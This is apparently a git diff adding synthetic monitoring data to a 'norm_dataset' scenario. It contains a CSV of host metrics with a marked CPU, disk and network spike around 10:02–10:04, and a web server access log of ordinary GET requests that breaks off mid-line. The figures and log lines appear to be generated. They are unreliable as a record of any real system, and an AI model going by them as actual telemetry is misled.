14:05:45 web-app[1784]: 66.249.79.110 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:45 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:45 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:46 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:46 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:46 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:46 web-app[1784]: 66.249.79.110 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:46 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:47 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:47 web-app[1784]: 66.249.79.105 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:47 web-app[1784]: 66.249.79.110 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:48 web-app[1784]: 66.249.79.101 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:48 web-app[1784]: 66.249.79.101 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:48 web-app[1784]: 66.249.79.105 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:49 web-app[1784]: 66.249.79.101 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:49 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:05:49 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:06:00 web-app[1784]: 192.168.1.29 - "GET /products/123 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:06:10 web-app[1784]: 192.168.1.40 - "GET /blog/post-1 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:06:30 web-app[1784]: 192.168.1.38 - "GET /about HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:06:35 web-app[1784]: 192.168.1.47 - "GET / HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 26 14:06:40 web-app[1784]: 192.168.1.14 - "GET /blog/post-2 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:06:50 web-app[1784]: 192.168.1.30 - "GET /products/123 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:07:00 web-app[1784]: 192.168.1.18 - "GET /products/123 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:07:05 web-app[1784]: 192.168.1.19 - "GET / HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 26 14:07:10 web-app[1784]: 192.168.1.48 - "GET /blog/post-1 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 26 14:07:20 web-app[1784]: 192.168.1.35 - "GET /contact HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 26 14:07:25 web-app[1784]: 192.168.1.40 - "GET /products/123 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_8/norm_8_27.csv b/norm_dataset/scenario_8/norm_8_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..42d6a13bf6a41f881af5c28fa8a2a9a06e95d217 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,18.659416306422727,36.59027413066908,33.64299906279257,1.6604953536394627,0.9579883955407842 +2025-08-27T10:00:05Z,13.24702953132565,40.16683855007172,40.43256936261829,1.401555426162542,1.3547667899034246 +2025-08-27T10:00:10Z,8.559374438787806,38.16146181465294,28.863938598118207,1.6196923703741697,1.6745585443023967 +2025-08-27T10:00:15Z,16.76934157057181,40.96994110444956,21.91545566463278,1.3435575550148238,1.234485009333975 +2025-08-27T10:00:20Z,15.986458988004303,40.82052796176317,28.021875393942295,1.4901977681429357,1.0868864357141095 +2025-08-27T10:00:25Z,11.364944460489184,40.324371045293816,24.080117242999023,1.7655311010662902,0.799760349948909 +2025-08-27T10:00:30Z,16.402461211365228,39.04610879822214,35.59054281249981,1.3316073141623188,1.060425336347087 +2025-08-27T10:00:35Z,19.9685202472425,40.510139784267615,33.795276312419894,1.3831134489812258,1.0036187696858359 +2025-08-27T10:00:40Z,15.238704734706326,38.88712175788303,33.69252041763942,1.283545228322188,0.9591155891986217 +2025-08-27T10:00:45Z,11.277281238930989,39.784580290720314,37.88517883743086,1.2984235685988281,0.5 +2025-08-27T10:00:50Z,13.95881679466865,40.16378833624034,28.472394965795573,1.7616229517782662,1.3866464609813227 +2025-08-27T10:00:55Z,14.320511061854805,39.15669668432811,28.75697857660147,1.479292164937597,0.7307208598289954 +2025-08-27T10:01:00Z,13.817779219902263,39.96051520390498,22.101453419523605,1.6388651481459997,1.1303298330294163 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+2025-08-27T10:02:25Z,13.301569028728096,38.35460942555938,27.345865081618754,1.6716882914574067,1.1469657539688558 +2025-08-27T10:02:30Z,91.29219122343522,42.16416311665848,106.68483775152026,22.79637697587719,12.457257456848676 +2025-08-27T10:02:35Z,86.8156530322523,40.875048127426886,131.43009166244357,19.942933954778994,19.288907898497932 +2025-08-27T10:02:40Z,90.39848674546832,39.45236291825804,129.43909755632907,26.62495769296142,16.228555238998535 +2025-08-27T10:02:45Z,99.0,39.94402308759428,107.53455686270433,20.131740537014817,7.885183466095958 +2025-08-27T10:02:50Z,89.43107701669275,41.020354304551404,106.77211831943585,19.133786629481442,16.140419550553393 +2025-08-27T10:02:55Z,95.41024221354388,41.16074956519844,131.20319362377484,22.4869903491238,8.495182842494236 +2025-08-27T10:03:00Z,97.13761439150596,39.73461502804518,127.05708571946714,22.169112094309934,16.280332003538845 +2025-08-27T10:03:05Z,89.61250871236976,39.25779857346967,113.75382627473455,19.24665585742725,15.68908241680402 +2025-08-27T10:03:10Z,99.0,40.59157939961886,116.97155493822852,24.482697808491803,14.89056751938465 +2025-08-27T10:03:15Z,96.197254333866,42.418309699070306,113.83047898191685,22.67068079774643,23.150129277597156 +2025-08-27T10:03:20Z,99.0,39.46772771094814,109.89619318746172,18.60731698681213,14.460403542127402 +2025-08-27T10:03:25Z,97.83408679115624,41.79293767282227,100.48287175966752,19.163532948073048,13.384564938392124 +2025-08-27T10:03:30Z,81.30280966033828,38.45389539944603,95.53414445370018,20.739640550524722,17.29706247561864 +2025-08-27T10:03:35Z,99.0,42.06008086341367,118.10404854047147,22.12372724071218,14.466579380007193 +2025-08-27T10:03:40Z,96.65834922763221,40.60266759060717,117.03785891848618,26.506625911428657,13.981783846238388 +2025-08-27T10:03:45Z,99.0,41.142625504331924,121.64472781764613,21.81741376792646,19.7451579694736 +2025-08-27T10:03:50Z,85.63850588711149,38.02836551861672,114.38955129602535,20.87918442802286,14.798512832172577 +2025-08-27T10:03:55Z,88.94699137493568,39.679181250802756,127.65600034533136,21.942658981988295,15.043932149557289 +2025-08-27T10:04:00Z,95.10268137307308,37.66918304332311,108.26637954112252,22.384324877332183,19.298768509420515 +2025-08-27T10:04:05Z,87.25717531160848,44.25671344096964,113.98977402975963,20.415932372461025,16.181825271607565 +2025-08-27T10:04:10Z,92.03787538268627,40.93418854994428,110.75938823122084,22.63567292601402,13.871185321272293 +2025-08-27T10:04:15Z,98.3597762760758,42.32756379320789,117.06602796917161,22.473250555654676,10.37680915622173 +2025-08-27T10:04:20Z,96.76235808861811,40.565206285300185,107.58147159778191,18.003079504302583,15.408498275266881 +2025-08-27T10:04:25Z,97.75228239438871,40.0398593888794,124.3532766782035,23.181473881067205,11.2473376255898 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+2025-08-27T10:06:35Z,15.010598815735456,39.81121006691264,25.977526546410957,1.9380930390868458,1.288113302682353 +2025-08-27T10:06:40Z,16.29247191500596,41.252799456429834,31.901047143276916,1.2210181615853093,1.3773840775950594 +2025-08-27T10:06:45Z,11.711480071731373,41.986847616085186,23.36448086712751,1.1556708682395405,1.0843473160684947 +2025-08-27T10:06:50Z,13.05403536951766,40.18372614923702,26.43361164021011,1.1157176474086496,1.3060388788516812 +2025-08-27T10:06:55Z,22.303708662814326,39.091826832130174,32.52513547647619,1.3333689158349742,1.1190905482229592 +2025-08-27T10:07:00Z,15.663030417400018,42.328159641117345,34.883886646598356,1.080116981731912,1.0160157120777409 +2025-08-27T10:07:05Z,8.667430622763101,40.75843827262506,31.85811943482083,1.3576648416885322,1.5071852393921485 +2025-08-27T10:07:10Z,15.094985770381227,41.58890976063846,28.30800009271722,1.5151100191316438,0.9199267152031282 +2025-08-27T10:07:15Z,16.538497431263373,41.033848146581526,38.009320143235165,0.9875723807690405,1.3611295742459004 +2025-08-27T10:07:20Z,17.919657461427555,41.23339375299293,24.774265706557497,1.3274308127528243,1.0104673222867568 +2025-08-27T10:07:25Z,16.617131684696076,37.18720607368212,29.448923240266282,1.3998849887847225,0.8464092430073651 diff --git a/norm_dataset/scenario_8/norm_8_27.log b/norm_dataset/scenario_8/norm_8_27.log new file mode 100644 index 0000000000000000000000000000000000000000..f27579d327e4cbf86accf67233287cbc3f987cc9 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_27.log @@ -0,0 +1,523 @@ +Aug 27 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:04 web-server-prod[7939]: GET /search?q=test status=200 OK from_ip=192.168.1.170 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:04 web-server-prod[9360]: GET /articles/post-72 status=200 OK from_ip=192.168.1.21 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:04 web-server-prod[4677]: GET /articles/post-81 status=404 Not Found from_ip=192.168.1.196 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:06 web-server-prod[4563]: GET /search?q=test status=200 OK from_ip=192.168.1.184 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:05 web-server-prod[3351]: GET /api/v1/products status=200 OK from_ip=192.168.1.182 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:14 web-server-prod[2981]: GET /search?q=test status=200 OK from_ip=192.168.1.13 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:14 web-server-prod[5324]: GET /api/v1/products status=200 OK from_ip=192.168.1.172 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:12 web-server-prod[1099]: GET /api/v1/products status=200 OK from_ip=192.168.1.43 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:15 web-server-prod[3506]: GET /api/v1/users status=200 OK from_ip=192.168.1.164 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:17 web-server-prod[6955]: GET /api/v1/products status=500 Internal Server Error from_ip=192.168.1.141 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:19 web-server-prod[7549]: GET /api/v1/users status=200 OK from_ip=192.168.1.192 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:23 web-server-prod[7489]: GET /api/v1/products status=200 OK from_ip=192.168.1.183 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:20 web-server-prod[6024]: GET / status=200 OK from_ip=192.168.1.80 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:23 web-server-prod[2219]: GET /articles/post-94 status=200 OK from_ip=192.168.1.179 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:27 web-server-prod[1981]: GET /search?q=test status=200 OK from_ip=192.168.1.106 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:29 web-server-prod[9252]: GET / status=200 OK from_ip=192.168.1.102 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:31 web-server-prod[1273]: GET /search?q=test status=200 OK from_ip=192.168.1.22 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:31 web-server-prod[1179]: GET /search?q=test status=200 OK from_ip=192.168.1.172 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:39 web-server-prod[1518]: GET /articles/post-33 status=200 OK from_ip=192.168.1.161 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:44 web-server-prod[4711]: GET /api/v1/products status=200 OK from_ip=192.168.1.165 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:44 web-server-prod[5185]: GET /api/v1/products status=200 OK from_ip=192.168.1.178 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:45 web-server-prod[5338]: GET /search?q=test status=200 OK from_ip=192.168.1.87 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:47 web-server-prod[4239]: GET /api/v1/products status=200 OK from_ip=192.168.1.174 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:46 web-server-prod[5847]: GET /api/v1/users status=200 OK from_ip=192.168.1.74 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:51 web-server-prod[3724]: GET /api/v1/users status=200 OK from_ip=192.168.1.13 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:00:51 web-server-prod[5582]: GET /articles/post-28 status=200 OK from_ip=192.168.1.77 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:55 web-server-prod[8361]: GET / status=200 OK from_ip=192.168.1.33 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:57 web-server-prod[2096]: GET /search?q=test status=200 OK from_ip=192.168.1.28 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:00:55 web-server-prod[8307]: GET /articles/post-51 status=200 OK from_ip=192.168.1.162 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:02 web-server-prod[5708]: GET /api/v1/users status=200 OK from_ip=192.168.1.11 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:00 web-server-prod[6950]: GET /api/v1/users status=200 OK from_ip=192.168.1.59 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:00 web-server-prod[6682]: GET /api/v1/users status=200 OK from_ip=192.168.1.71 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:08 web-server-prod[3047]: GET / status=200 OK from_ip=192.168.1.141 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:12 web-server-prod[5369]: GET / status=200 OK from_ip=192.168.1.116 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:17 web-server-prod[9657]: GET /articles/post-40 status=500 Internal Server Error from_ip=192.168.1.160 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:19 web-server-prod[3736]: GET /api/v1/products status=200 OK from_ip=192.168.1.105 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:22 web-server-prod[3914]: GET /api/v1/users status=200 OK from_ip=192.168.1.160 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:22 web-server-prod[7264]: GET /api/v1/users status=200 OK from_ip=192.168.1.118 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:23 web-server-prod[2486]: GET /api/v1/products status=200 OK from_ip=192.168.1.78 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:27 web-server-prod[5955]: GET /api/v1/products status=200 OK from_ip=192.168.1.14 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:26 web-server-prod[8510]: GET /api/v1/products status=200 OK from_ip=192.168.1.84 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:26 web-server-prod[9956]: GET /search?q=test status=200 OK from_ip=192.168.1.40 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:34 web-server-prod[3360]: GET /search?q=test status=500 Internal Server Error from_ip=192.168.1.151 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:32 web-server-prod[8202]: GET / status=200 OK from_ip=192.168.1.99 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:34 web-server-prod[3366]: GET /api/v1/users status=200 OK from_ip=192.168.1.151 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:37 web-server-prod[3654]: GET /api/v1/users status=200 OK from_ip=192.168.1.128 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:40 web-server-prod[3895]: GET /articles/post-45 status=200 OK from_ip=192.168.1.22 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:40 web-server-prod[7811]: GET /api/v1/users status=500 Internal Server Error from_ip=192.168.1.92 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:42 web-server-prod[3262]: GET / status=404 Not Found from_ip=192.168.1.11 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:48 web-server-prod[1900]: GET /api/v1/users status=200 OK from_ip=192.168.1.195 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:50 web-server-prod[2244]: GET /api/v1/users status=200 OK from_ip=192.168.1.156 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:01:58 web-server-prod[3281]: GET / status=200 OK from_ip=192.168.1.111 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:58 web-server-prod[4992]: GET /articles/post-12 status=200 OK from_ip=192.168.1.168 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:01:58 web-server-prod[7833]: GET / status=200 OK from_ip=192.168.1.130 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:03 web-server-prod[2978]: GET /api/v1/products status=200 OK from_ip=192.168.1.84 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:02:01 web-server-prod[4196]: GET / status=200 OK from_ip=192.168.1.104 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:07 web-server-prod[9621]: GET / status=200 OK from_ip=192.168.1.72 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:12 web-server-prod[3471]: GET /api/v1/users status=200 OK from_ip=192.168.1.58 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:11 web-server-prod[7276]: GET / status=200 OK from_ip=192.168.1.191 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:14 web-server-prod[2059]: GET /api/v1/users status=200 OK from_ip=192.168.1.127 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:15 web-server-prod[2082]: GET / status=500 Internal Server Error from_ip=192.168.1.198 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:15 web-server-prod[2313]: GET /search?q=test status=200 OK from_ip=192.168.1.10 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:16 web-server-prod[9656]: GET /api/v1/users status=200 OK from_ip=192.168.1.71 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:23 web-server-prod[4114]: GET /articles/post-34 status=200 OK from_ip=192.168.1.78 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:24 web-server-prod[2673]: GET /api/v1/products status=404 Not Found from_ip=192.168.1.74 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:28 web-server-prod[9618]: GET /api/v1/products status=200 OK from_ip=192.168.1.56 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:26 web-server-prod[5000]: GET /api/v1/users status=200 OK from_ip=192.168.1.65 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:02:29 web-server-prod[1235]: 